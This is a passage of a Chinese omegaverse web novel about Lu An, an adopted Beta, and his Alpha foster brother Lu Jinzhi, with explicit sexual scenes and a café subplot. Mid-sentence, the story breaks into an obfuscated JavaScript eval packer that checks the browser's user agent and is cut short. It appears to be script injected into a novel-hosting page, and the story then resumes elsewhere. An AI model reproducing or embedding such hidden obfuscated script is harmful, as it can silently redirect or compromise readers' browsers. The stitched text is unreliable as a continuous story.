陆安只好用警惕的目光盯着陆谨之,再次抗议:“我明天要去兼职。”所以不能再来了。 陆谨之‘嗯’了声,“去吧。” 陆安似信非信地看他。 “明天我会给你卡上再打五百万。”陆谨之说到这里,微微停顿了一下,又问陆安:“够吗?” 陆安眼睛亮闪闪,点头如捣蒜,“够够!”太够了! 话落,他就被戳了下。 陆安:“……”他敢怒不敢言。 不过这次陆安错怪陆谨之了,对方信守承诺,一起洗澡似乎真的就只是单纯的洗澡,没动他。 但Alpha的那个地方格外瞩目。 难怪能一周,陆安把自己埋进浴缸,眼神不敢乱瞟。 遍-布青-筋的样子有点可怕。 陆安深刻体会过。 “别泡太久。”陆谨之很快淋浴完,期间也没消下,只是冷静地提醒道。 “好、”陆安把自己埋得太下面,嘴巴都盖住了,说话时忘了起身,水面上冒了个泡,紧接着发出一声:“咕噜——” 陆安‘唰’地红了脸,没去看陆谨之。 有点丢人。 但是,更丢人的时候陆谨之似乎都见识过了。比如……对方看过他被弄-得流口水的样子,差点失-禁的模样…… 陆安努力把那些脏东西抛之脑后,很快洗完出去。陆谨之已经从楼下把电脑拿上来了,穿着丝质睡袍靠在床头,高挺的鼻梁上架着一副金边平光眼镜,看着斯文又贵气。 深知这就是个败类的陆安像是看不到,磨-蹭着过去,窝到了对方腿边。 因为去参加了宴会又在车上乱来了一通,泡过澡浑身放松的陆安很快睡着。 毛茸茸的脑袋靠在腿侧,黑色的柔软碎发贴在上面,恬淡而无害。就跟这个人一样,是没有信息素的Beta,毫无攻击性,也没有诱惑力。 只是生了一张得天独厚的漂亮脸蛋,否则,也不会被陆苓带回家。 陆谨之已经记不清陆安刚到陆家的时候是什么样了,可能他压根就没有在意过。 但陆安刚到陆家时的受宠,和现在透明人的样子,陆谨之全都看在眼里,依然毫不在意。 最开始让他感到在意的,大概是陆安爬上他床的那一天。 这是陆谨之第一次正视这个与自己毫无血缘关系,名义上的弟弟。 那一天陆谨之刚结束一场聚会,是他的同学组织的。因为毕业之后马上就要各奔东西,所以他们组织了这样一场聚会。 当时陆谨之并不想去,但他的大学室友,也是跟他关系不错的朋友陶骞觉得大学的最后一次聚会,不去实在可惜,劝说着他去。陆谨之还是给面子的去了,餐桌上小酌了几杯,之后是家里的司机开车来接。 陆谨之一路走回房间。 虽然喝了几杯,他脑子却依然清醒,没有半点醉意,清楚地发现自己的门把有被动过的痕迹。这是陆谨之的习惯,出门时会特意将门把往下压一点——可从聚会上回来后,他的房门门把是平的。 不可能是佣人进去,陆谨之向来不喜欢有人侵-入自己的地盘。自懂事起,他便固定了时间让佣人进来打扫房间,其余时间不允许任何人入内。 纵然如此,他还是习惯在门把上‘上一层保险’。 但是,今天的保险被动了。 陆谨之蹙眉,决定明天去找管家问问怎么回事。想罢,他打开房门走进去。 刚进门陆谨之就发现了不对。 他床上的被褥正拱着一个小包,似乎是听到他开门的动静,‘小包’磨磨蹭蹭往旁边卷了卷,像是要给陆谨之留出上去的空间。 陆谨之滞住,甚至感觉到了荒谬。 什么人,爬上了他的床。 而且这里还是陆家。 陆谨之转身,想去叫人。 这时,床上的被子悄然掀起一角,是在观察他的动静,很快又落下。 仅一刹,陆谨之就看清了藏在被子里的人。 顿了几息,陆谨之走近,居高临下地看着那团‘小包’,嗓音清冷:“陆安?” 陆安在里面抖了抖,闷闷地回了他一声:“嗯。” “你在这里做什么?” “……在等你。” 陆谨之扬起眉梢,“等我?” 被子里,陆安咬了咬牙,“等你回来。” 陆谨之语气听不出喜怒道:“接着说。” 陆安只得继续:“等你回来……陪你睡觉。” 陆谨之:“什么意思?” 陆安整个人犹如熟透的虾般蜷缩起来,细细重复:“陪你睡觉。” 陆谨之:“你明白自己说的这话是什么意思吗?” 可能是一连被问几个问题,陆安急眼了,“陪你睡觉,就是陪你睡觉!陪睡!是你不明白吧!” “你成年了吗?”不知道为什么,陆谨之第一个问题是这个。 陆安终于愿意从被子里探出个头,那双上挑的狐狸眼眸底明润一片,蕴着水汽,雾蒙蒙的,脸蛋也满是通红,一直红到脖子锁骨…… 陆安什么都没穿。 陆谨之眸光定了定。 下一刻,他听到陆安回答:“成年了的。” 就是因为成年了,所以陆安才会想到用这种方式留在陆家。 陆谨之沉默。 寂静在空气中蔓延,陆安见他居然没有第一时间把自己丢出去,遂伸着脖子,大着胆子道:“你要不要睡我。” 陆谨之仍然没有回答。 就在陆安以为自己的希望落空时,陆谨之靠近床榻,掀开了被子一角。 果不其然,和他想的一样。 陆安身上什么也没有。 “胆子真大……”陆谨之倏然轻声絮语起来,“这么想被我-操?” 陆安被他粗俗的话给惊住,虽然他跑进来确实是为了这个,但这也太糙了。 陆谨之拇指忽地按住他的唇,粗-粝的指-腹刮了下,食指微抬起下巴,淡声开口:“说话。” 陆安快哭了,是急的,也是羞的。 他才不是因为想被陆谨之…… 而是想留在陆家,仅此而已。 陆安不想被赶出去。 他已经十八岁了,自从分化为Beta后,他在陆家赖了三四年,在陆家当了三四年透明人,陆安不想最后连透明人都当不了。 所以,他做了一个大胆的决定。 他的‘决定’此刻正掐着他的下巴,然后让他说话。 陆安咽了咽口水,最后闭着眼,咬着牙点头,“是!” 他说的斩钉截铁。 陆谨之却又追问起来:“是什么?” 陆安觉得自己的这个决定未来可能会让他后悔,不,他现在就有点后悔了,但是……来都来了。 “是……”陆安豁出去了,死命睁大眼睛,红着眼眶盯着面前的人,内心屈辱,面上却满带坚毅与肯定,“我就是想被你操!被你狠狠-操!” 行了吧!这样行了吧! 陆谨之蓦地低头,陆安被他吓了一跳,第一时间闭上眼。 他以为陆谨之会亲下来,一边想着这也太快了的同时,一边紧张起来。 这是他的初吻啊…… 然陆安没想到的是,陆谨之的吻并未到来。 他等待片刻,又把眼睛睁开了,同与他咫尺距离的陆谨之四目相对。 “可能要让你失望了。”陆谨之一字一句道。 陆安悬着的心顿时跌入谷底,兴许是刚才的那些话,还有自己今天做的决定——小心翼翼避开所有人来到陆谨之房间,再脱-光了衣服躺到陆谨之床上已经用光了他的所有力气,陆安连挣扎一下都做不到。 他就好像被判了死刑的囚犯,颓然地跌回床上,再也无力为自己争取、辩驳。 刚刚还一副坚强,透着韧劲的Beta,嘴里说着让他‘操’的话,此刻因为他的一句话骤然蔫巴下来。陆谨之忽地感觉到了有趣,他的这个养弟原来是这样的性格。 可是……为什么要爬上他的床。 还是说,陆安被灌-输了什么不好的思想。 比如——弟弟就是要被哥哥…… 陆谨之扫视他暴露在外的皮肤,白得晃眼,瓷白又细腻,没有一点瑕疵,就仿似……等着什么人把痕迹留上去般。 很突然的,陆谨之感觉到自己的信息素正在扩散,顷刻便布满了房间。 陆安是Beta,对此毫无所觉,他正惆怅于自己应该怎么办。 计划失败,他应该会被提前赶出去吧。 陆谨之果然是那什么冷淡吧,不过唯一好的一点就是,没跟他说‘借过’,但这也没差别了……也许是给‘弟弟’的脸面,没让他直接滚出去,陆安闷闷地想。 这时,腿上传来一阵被粗-粝的东西刮过的感觉,陆安陡然抬起脑袋,就见陆谨之已经握上了他的脚踝。 约莫是那点酒精起了作用,也有可能是那点信息素带来的信号,陆谨之低头,捻着那截白皙,“你应该理解错了我的意思。” 陆安茫然看他。 陆谨之缓缓掀起眼帘,目光相接,他徐徐说:“家里没有套。” 陆安顿时闹了个大红脸,原来是这个意思…… 等等。 陆安眸子微微张大,“你……你愿意……” 陆谨之:“没说不操-你。” 陆安:“……” 他支支吾吾。 “那……” 陆谨之盯着他,视线在Beta纤长的睫羽上扫过,浓密乌黑的睫毛在眼下投下一小片阴影,随着眨眼的动作一下一下扇着。 如蚊呐般的声音传来,陆谨之回过神,“嗯?” 陆安心里骂了一通,是谁告诉他Alpha的五感敏锐,他好不容易克服了心中的羞耻说出来的话……还是说陆谨之是个耳背,是残缺不全的Alpha。这么想着,陆安还是窝窝囊囊地重复了一遍。 “那……” “你身寸进来好了。” 声音落下的刹那,陆安被猛地压倒下去。 他有点喘不过气了…… 陆安狠狠呼了两口气,感觉胸-口发闷,一睁眼,就看到横亘在自己颈-侧的手臂,凸-起的青色学管映在眼前,是陆谨之的手。 即使是睡着,陆安都被这个人牢牢圈在怀里,除了接吻,之前对方易感期的时候,他每次醒来时也都有窒息的感觉。 陆谨之其实不是Alpha,而是树袋熊转世吧…… 陆安慢腾腾把自己从男人手臂下挪出来,结果他才刚有动作,陆谨之就醒了,漆黑的眸子凝着他,两人眼神相汇的下一秒,对方就亲了过来。 陆安再次感觉到了熟悉的窒息感,一阵气喘吁吁,他红着脸道:“还没刷牙!” 陆谨之:“嫌我?” 陆安想点头,但有陆谨之的‘五百万’在前,他还是摇摇头,“我嫌弃自己。” 陆谨之‘嗯’了声,重新吻下来,这一次更为温柔,更像是晨-起时恋人间的温-存,气氛温馨融洽。陆谨之有一下没一下亲着陆安的唇,仿佛怎么都不够似的。 陆安好不容易才从他嘴下逃脱,一扭身翻下床,“我要去兼职啦!”这是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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程霜却把他当小孩子,“先进去吧,请你是让你来泡咖啡的,可不是让你来干粗活的,以后这些也不用你。” 陆安抿抿唇,往里面走去。 刚刚被点名的晋峰忍不住哼哼了两声,“霜姐,不要区别对待AB啊!” 程霜冷冷开口:“要是你们入职第一天就能让营业额翻一翻,我也区别对待你。” 晋峰闻言摸了把自己的俊脸,“我长得也不差吧。” 程霜嫌弃。 晋峰:“跟安安的精致当然比不了,但怎么也是帅哥一枚吧。” “说到帅……”程霜呵呵一声,“帅哥来了。” 晋峰看到街角走来一个高大壮硕的身影,看清对方阳刚硬朗的面庞,突然不说话了。 “这个Alpha……”他刚起了个头就被程霜打断。 “是Beta。” 程霜说罢朝那边招了招手,“杜毅,这边!” 陆安看到杜毅的时候也是一愣,他没想到会在这里遇上对方——昨天被一群富二代欺负的那个Beta。 杜毅俨然也没料到会在这里碰到陆安,眼神瞬间就变了,看起来深刻的五官似在此刻都柔和了几分,他轻声喃着:“陆安……” “我们认识?”陆安问了一句。 即此时,程霜领着一行擦完玻璃的店员进门,“大家都来互相认识一下,这个是陆安,那个是杜毅。 “你们都是刚加入的,趁这会还没人,可以先熟悉熟悉。” 简单的介绍后,众人开始忙活,杜毅忽而站到了陆安身侧,健硕的身影几乎将陆安完全拢住,像是挺拔的橡树,磅礴而充满力量。 他说:“我认识你。” “啊?”陆安没明白他的意思,“你认识我?” 杜毅点头,小麦色的皮肤上看不出其他,浓黑的剑眉下,眸光闪烁,“你帮过我。” 陆安并未听出其中深意,还当他说的是昨天。 “其实也没什么。”他什么也没做,只是站出来说了一下自己心里的想法,就像是……为自己申辩。 杜毅知道他误会了自己的意思,却也没说什么。 接下来,陆安总能感觉到杜毅在有意照顾他,比如在店里冲着他来的客人搭话时,杜毅会站出来帮他应付。 上次陆安在店里拉花,被人拍下放到了网上,小火了一把,没想到引得许多人前来打卡。这也是程霜对他格外宽待的原因之一——最重要还是颜值。 陆安同他感激一笑。 杜毅呼吸屏了屏,想说什么,这时程霜拍拍手笑着走过来,“各位美丽帅气又漂亮的小哥哥小姐姐,我们的拉花师弟弟已经连续工作很久了,可以让他歇一下吗?修整片刻再来陪你们……这边还有技术同水平,同样好看的小弟弟小妹妹,前三杯免费哦。” 陆安朝程霜露出个感谢的眼神,总算得以喘口气。 杜毅没再跟他说话,顶上了他的空缺。 陆安趁机下去喝了杯水,又去了一趟厕所,回来继续工作,期间没再闲聊。 及至下班,杜毅才找到机会过来问他:“回家吗?” 陆安点头。 杜毅:“我是坐地铁过来的,你呢?要一起吗?” 陆安还没说话,那边只听程霜‘嚯’一声,“这辆宾利酷啊。” 车身曲线如刀锋,直立式格栅,序列式发动机罩连接呼应尾灯,发动机罩和车身连接极具视觉冲击①。光线在镜面的车身上流动,灯影如水银倾泻,充满瑰丽而神秘的感觉。 “我没看错的话,这辆绝版了吧。” “哪来的有钱大佬。” 陆安循声朝外看了一眼,随即掏出手机,果然发现不久前陆谨之给他发了消息,他赶紧打字。 “开走了,诶,怎么走了,我还打算上去拍个照发个朋友圈的。”那头晋峰遗憾地道。 陆安长舒口气,“那个,我家里人来接了,先走了。” 杜毅看向店外刚刚那辆宾利开走的方向,家里人……是陆家的人吧。 陆安同其他人道别,轮到杜毅,他笑了笑,“谢谢你今天帮助,我们扯平啦。” 杜毅定定的,他看着陆安离开的方向,注视着那抹背影远去,就像小时候,还在孤儿院…… ——那双挡在自己面前的圆润小手,稚嫩的童音钻入耳中,“你们要是再欺负人,我就去告诉院长妈妈。” 杜毅目光失去那抹身影,就好像失去了焦距。 扯平? 怎么扯得平? 这不是你第一次帮我啊。 杜毅那天回去想要再找出自己的小恩人,却终是无功而返,只能去问院长妈妈,结果被告知对方已经被领养走。 最后的最后,杜毅百般追问,才从对方口中问出他的名字,被领养走的小恩人新名字叫做‘陆安’。小他半岁,却保护了他。 昨天也是…… 刚才的帮忙明明只是一件微不足道的小事,而且本就是他份内的事,偏偏可以用来跟昨天扯平,是为了不让自己觉得欠着对方人情吧。 这就是他喜欢了将近十年的人…… 陆安确实是不想杜毅觉得欠着自己人情才那样说。 他不希望有人一直背负着欠他人情的心理,这样不利于接下来的工作。昨天之前他们互不相识,今天之后他们会是一起共事的同事。 “你同事?”陆谨之瞥一眼后视镜里追出来的人。 陆安没往后看,只是‘啊’了声。 陆谨之便没再追问,他带着陆安回了家。 刚进门,就见陆严和陆苓都在。 只听后者问:“你前天带陆安一起去郑家宴会了?” 陆谨之不置可否。 陆安有点紧张,只能跟在他身后。 两人一路走到沙发上。 “为什么带他?”陆苓有点不满他的态度。 陆谨之看了她一眼,在坐到沙发上时,他蓦地一拉旁边陆安垂在身侧的手,将人拉到腿上坐定,用行动表明,“安安是我弟弟。” 陆安一震,只能愣愣坐在人腿上。 陆苓:“那么重要的场合,你怎么能……” 陆谨之倏地打断她:“这是我的事。” 陆苓被他噎了下,转头去瞪陆严。 陆严:“谨之,不要胡闹。” 陆谨之并未开口。 陆安十分不自在,他发现陆苓又朝自己瞪了过来,立马要从陆谨之腿上下去。结果他才刚动了两下,就感觉到了不对。 陆谨之掐着他的腰,似警告他不要乱动。 陆安不动了,神经紧绷到了极限。 然而,下一刻,陆谨之还是直直朝他戳了过来。 这个变态!